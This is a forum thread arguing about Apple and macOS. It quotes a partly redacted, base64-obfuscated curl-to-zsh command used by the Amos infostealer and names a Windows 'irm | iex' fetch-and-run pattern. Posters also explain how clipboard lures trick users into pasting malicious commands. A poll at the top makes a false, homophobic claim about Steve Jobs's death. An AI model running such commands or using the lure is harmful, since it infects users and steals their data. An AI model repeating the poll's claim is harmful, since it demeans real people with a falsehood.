Apple Thread - The most overrated technology brand?

  • 🏰 Deploying update to the Tatarus security page. If you encounter issues, post here.
  • Want to keep track of this thread?
    Accounts can bookmark posts, watch threads for updates, and jump back to where you stopped reading.
    Create account

What killed Steve Jobs?

  • Pancreatic Cancer

    Votes: 73 12.1%

  • AIDS from having gay sex with Tim Cook

    Votes: 532 87.9%
  • Total voters
    605
FallingUpwards said:
Took this from the internet. This is what it is.View attachment 9376405
this is Amos infostealer. I'm not super knowledgeable on malware though. Sorry for the lack of detail. But the command decodes base64 to avoid you from reading it while you paste it. It targets crypto holders. I've said before they can install fake wallet apps such as Ledger to attempt to take data. Not all of the commands decode it. Some are the url straight up. I've never seen those ones though other than online images.
Click to expand...
Granted there is a big difference between
Code: 
curl -fsS https://dl.brave.com/install.sh | sh
and
Code: 
curl -s $(echo "aHR0█HM6Ly9yZW5kZXItcmlkZ2UuY29tL█N1cmwvMDJlNThkNTAyOGU0ZGZjYWEzMGYwNDA0ODBlY2MxMGZmNDUw█zgyYWUyYTJjMjVhZTJmMzZiNzU4N█k3MGMxNw==" | openssl base64 -d -A) | zsh
which should set off alarm bells for pretty much anyone that isn't in the small intersection between "knows how to use Terminal" and "unable to recognise blatantly suspicious things"

(Random characters replaced with █)
 
Betonhaus said:
Granted there is a big difference between
Code: 
curl -fsS https://dl.brave.com/install.sh | sh
and
Code: 
curl -s $(echo "aHR0█HM6Ly9yZW5kZXItcmlkZ2UuY29tL█N1cmwvMDJlNThkNTAyOGU0ZGZjYWEzMGYwNDA0ODBlY2MxMGZmNDUw█zgyYWUyYTJjMjVhZTJmMzZiNzU4N█k3MGMxNw==" | openssl base64 -d -A) | zsh
which should set off alarm bells for pretty much anyone that isn't in the small intersection between "knows how to use Terminal" and "unable to recognise blatantly suspicious things"

(Random characters replaced with █)
Click to expand...
I wasn't saying it's such a huge threat. I was just pointing out the way people can get infected. You are correct though that anyone understanding that would have some alarm bells ringing. The webpage design alone screams malware at least to me. But considering it gives instructions and is slightly simple to install it is does mean it is a risk. Though this is just solved by basic training that you don't enter random things into the terminal. I just found it pretty interesting on how it was presented compared to windows malware.
 
FallingUpwards said:
I wasn't saying it's such a huge threat. I was just pointing out the way people can get infected. You are correct though that anyone understanding that would have some alarm bells ringing. The webpage design alone screams malware at least to me. But considering it gives instructions and is slightly simple to install it is does mean it is a risk. Though this is just solved by basic training that you don't enter random things into the terminal. I just found it pretty interesting on how it was presented compared to windows malware.
Click to expand...
the presentation is very different.
 
HairyBadger said:
The ping triangle has spoken
Click to expand...
Rude. You make me almost want to uncheck the toggle

Untitled.png
 
So this confirms that in order to get malware on MacOS you need to:
  1. Go to a phishing website imitating Github.
  2. Copy an encoded curl command.
  3. Follow the nice provided instructions on how to open Terminal.
  4. Likely confirm with the security prompt that you're serious, yes run this elevated script, here's my fingerprint to grant elevated permissions.
 
Any app in the App Store can be malware, it’s just a matter of asking for the permissions first. Apple will remove widely known malware from the store, but security is still on on customers knowledge and caution just like websites that request too much information, permissions and act shady. I remember the popularity of bonsai buddy and the weather bug app. Also, apps like browser extensions can be sold and then converted in to malware. It’s enough to make me a software tool minimalist.
 
Jerk Sausage said:
So this confirms that in order to get malware on MacOS you need to:
  1. Go to a phishing website imitating Github.
  2. Copy an encoded curl command.
  3. Follow the nice provided instructions on how to open Terminal.
  4. Likely confirm with the security prompt that you're serious, yes run this elevated script, here's my fingerprint to grant elevated permissions.
Click to expand...
OH MY GOD! IT’S TOO EASY AND WILL INFECT UN-SAVVY USERS!

LOL GTFO, this is a tempest in a teacup.
 
Jerk Sausage said:
So this confirms that in order to get malware on MacOS you need to:
  1. Go to a phishing website imitating Github.
  2. Copy an encoded curl command.
  3. Follow the nice provided instructions on how to open Terminal.
  4. Likely confirm with the security prompt that you're serious, yes run this elevated script, here's my fingerprint to grant elevated permissions.
Click to expand...
You can get a virus in a near identical fashion with less steps in Windows 11 like this:
  1. Go to a phishing website imitating Github.
  2. Follow the nice provided instructions on how to open PowerShell as admin.
  3. Copy, paste, and execute the irm [MALWARE URL] | iex command.
In fact, just searching the Internet, it seems that people have fallen for it:
1786125854430.png

Loading…

yomotherboard.com
 
My point was the levels of foolishness required to do that on either OS is beyond protection.

Going through each step reads the same to me as:
  1. Douse your favorite bathrobe in rubbing alcohol and gasoline.
  2. Put on the bathrobe, wrap duct tape around yourself like a mummy.
  3. Lay down on your stovetop.
  4. Turn the burners on.
Windows and Mac are both pretty well protected against automatically executing malicious programs. You can click pretty much every link on the internet and nothing terrible will happen until you download something and run it on your computer and tell your OS to shut up when it asks you if you're sure. The above scenario though, well, I don't know, people who fall for that stuff maybe needed to learn a hard lesson.
 
Hostile Takeover said:
You can get a virus in a near identical fashion with less steps in Windows 11 like this:
  1. Go to a phishing website imitating Github.
  2. Follow the nice provided instructions on how to open PowerShell as admin.
  3. Copy, paste, and execute the irm [MALWARE URL] | iex command.
In fact, just searching the Internet, it seems that people have fallen for it:
View attachment 9380410

Loading…

yomotherboard.com
Click to expand...
I mean, the main actual 'security' that OS X has over Windows or (most) Linux systems is that there isn't a convenient way to trick a dumb user into opening a 'run' dialog box that they can then paste something into from the web. Because Spotlight doesn't allow passing in command line options to a command.

This is the best part of targeting Windows users (or, if you're masochistic and don't love money as much, linux users).

You can just show a malicious message telling a user that they need to click somewhere, that then copies a nice malicious string of text to the clipboard, then once they've done that, shows them instructions on how to open the 'run' box (which could be anything from just "hold the 🪟 key and tap'r'" through to showing a video of someone doing it on a keyboard), and then how to paste the text in ("hold ctrl and hit v") and hit enter.

Sure, when you're doing that on Windows, a Powershell window will pop up with some computer stuff happening and once the dropper script has downloaded the user might be prompted to approve running commands as administrator, if it's trying to get root immediately (rather than running an infostealer to steal crypto keys and the like from the user's account).

BUT, that's just computer stuff happening in the background to the luser. They just pressed some keys in a friendly GUI. They never have to open a terminal and see the confusing real computer stuff and think 'should I actually be doing this'?
 
Mostly relevant to this thread, ex-employee claims that their tech firm would rather destroy hundreds of 48GB Macbooks (mostly Macbook Pro M4's)than to even consider either keeping them, selling them, or giving them to said ex-employees due to "data compliance." There's two links there btw.
Original post.
I used to work for a big tech company that decided to shut down its office in my country. More than 200 employees were laid off in several waves, and this month the last group will be gone. What shocked me the most is what happened to the remaining hardware. Instead of reusing it, donating it, or even letting employees keep it, the company decided to destroy all the MacBooks left in the office (mostly MacBook Pro M4s with 48 GB of RAM).
There was no security risk that couldn't be handled by securely wiping the drives. These laptops could have been donated to schools or nonprofits, or even offered to employees. Instead, they're being destroyed.
Click to expand...
From what I could gather from looking around, it seems this has happened before in various other places, but usually on low spec computers that aren't worth reusing or could have vulnerabilities, Macbook Pro M4's can run anywhere between $2000+ to $3000+. Meaning they destroyed around $20,0000-$30,000 worth of equipment.
 
Last edited:
Tri-Tachyon'sClown said:
Mostly relevant to this thread, ex-employee claims that their tech firm would rather destroy hundreds of 48GB Macbooks (mostly Macbook Pro M4's)than to even consider either keeping them, selling them, or giving them to said ex-employees due to "data compliance." There's two links there btw.
Original post.

From what I could gather from looking around, it seems this has happened before in various other places, but usually on low spec computers that aren't worth reusing or could have vulnerabilities, Macbook Pro M4's can run anywhere between $2000+ to $3000+. Meaning they destroyed around $20,0000-$30,000 worth of equipment.
Click to expand...
That’s much cheaper than someone fucking up a wipe and leaking IP.
 
As someone who has never touched MacOS and the only OS experience I have is Windows, almost nothing has been frustrating when making the switch.
I just found myself trying the different features and customizations slowly transforming my workflow. it even gave me a reason to utilize my iPad mini a bit more with how well they work together with iCloud.
 
1999 prick said:
As someone who has never touched MacOS and the only OS experience I have is Windows, almost nothing has been frustrating when making the switch.
I just found myself trying the different features and customizations slowly transforming my workflow. it even gave me a reason to utilize my iPad mini a bit more with how well they work together with iCloud.
Click to expand...
Try using the iPad as a connected input device, it’s awesome.
 
You must log in or register to reply here.
Back
Top Bottom